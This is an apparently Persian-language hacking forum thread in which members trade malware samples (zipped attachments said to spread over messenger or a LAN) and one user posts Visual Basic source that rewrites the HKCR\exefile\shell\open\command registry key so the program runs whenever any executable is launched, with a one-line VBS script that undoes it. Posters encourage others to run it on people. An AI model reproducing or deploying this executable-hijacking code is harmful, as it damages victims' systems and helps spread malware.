ویروس کده

[arnh]

اینم به آرشیو ویروس هاتون اضافه کنید .
اسم نداره .

[arnh]

اینم ویروس جدیدی که از طریق مسنجر منتشر میشه .

[Darg]

اینم ویروس جدیدی که از طریق مسنجر منتشر میشه .

با شه انقدر صبر می کنیم تا زیر پامون علف صبز شه  :lol:
راستی اگر خواستی پاسورد فایل زیپت رو بزار  :whistle:
چون ممکنه همه انقدر مثل من بیکار نباشند تا با امتحان چند تا کلمه به 123456 برسند (شاید هم باهوش)
ای بابا آنتی هم که میشناسدش!!!
پس بگو دیروز (یا پریروز) علت آپ دیت شدن خودکار 350 کیلوبایتی آنتی چی بود.

[arnh]

با شه انقدر صبر می کنیم تا زیر پامون علف صبز شه  :lol:

راستی اگر خواستی پاسورد فایل زیپت رو بزار  :whistle:
چون ممکنه همه انقدر مثل من بیکار نباشند تا با امتحان چند تا کلمه به 123456 برسند (شاید هم باهوش)  :question:

دستت درد نکنه .
مسلم هستش که شما خیلی باهوش تشریف دارید

[Darg]

با شه انقدر صبر می کنیم تا زیر پامون علف صبز شه  :lol:

حقیقتش رو گفتم
فعلا که اینطوریه

راستی اگر خواستی پاسورد فایل زیپت رو بزار  :whistle:
چون ممکنه همه انقدر مثل من بیکار نباشند تا با امتحان چند تا کلمه به 123456 برسند (شاید هم باهوش)  :question:

دستت درد نکنه .
مسلم هستش که شما خیلی باهوش تشریف دارید

اختیار دارید هوش (اون هم خیلی) از خودتونه که میون این همه معرفترین و رند ترین پسورد رو انتخاب کردید. اگه من نبودم باید با ابر کامپیوتر دی کدش می کردند

[xxxroozbehxxx]

آقا یه با مرامی بیاد سورس vb اونو بده

[arnh]

اینم یه ویروس جدید .
واسه اونایی که می خوان توی LAN ویروس منتشر کنن . از این ویروس می تونن استفاده کنند .
[attachment=483]

[Scorpion]

baba damet garm terekoondi

[avini]

کد:

Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hWnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory
As String, ByVal nShowCmd As Long) As Long
----------------------------------
Private Sub Form_Load()
Call Install
Command$
Dim RestoreSetting As String
Dim a As Object
Dim B As Object

    RestoreSetting = Chr$(34) + "%1" + Chr$(34) + " %*"
    Set a = CreateObject("wscript.shell")
    Set B = CreateObject("scripting.filesystemobject")

    If Command$ <> vbNullString Then
    a.regwrite "HKCR\exefile\shell\open\command\", Chr(34) + "%1" + Chr(34) + " %*"
    ShellExecute Me.hWnd, "open", Command$, "", "", vbNormalFocus
    Call Install
    Unload Me
End If

End Sub
------------------------------------------
Public Sub Install()
Dim a As Object
Dim B As Object
Dim Setting As String
Dim Original As String

Setting = Chr$(34) + "%1" + Chr$(34) + " %*"
Set a = CreateObject("wscript.shell")
Set B = CreateObject("scripting.filesystemobject")
    
    Original = a.regread("HKCR\exefile\shell\open\command\")
    If Original = Setting Then
    a.regwrite "HKCR\exefile\shell\open\command\original", Setting
    a.regwrite "HKCR\exefile\shell\open\command\", B.buildpath(App.Path, App.EXEName & ".EXE %1 %*")
    End If
End Sub
---------------------------------------
Private Sub tmrtimer_Timer()
Call drawshape
End Sub

مقدار تایمر Interval = 0

فقط بزنین حالشو ببرید

کد:

set shl=createobject("wscript.shell")
shl.regwrite "HKCR\exefile\shell\open\command\",Chr(34) + "%1" + Chr(34) + " %*"

این هم آنتیش فقط باید .vbs باشه ها

[impostor]

ويروسی که با يک خط آنتيش نوشت بشه ويروس نيست

[arnh]

البته ویروس دیگه عامیانه شده . و منظور هم همون بد افزاره .
چه اشکالی داره آنتیش با یک خط نوشته بشه؟! ..
مسئله اذیت کردن یا آسیب رسوندن هست . که این کار رو می کنه .

فقط یه نکته این ویروس شما چون از اسکریپت استفاده می کنه . آنتی ویروس ها بدون آپدیت هم می تونن تشخیصش بدن .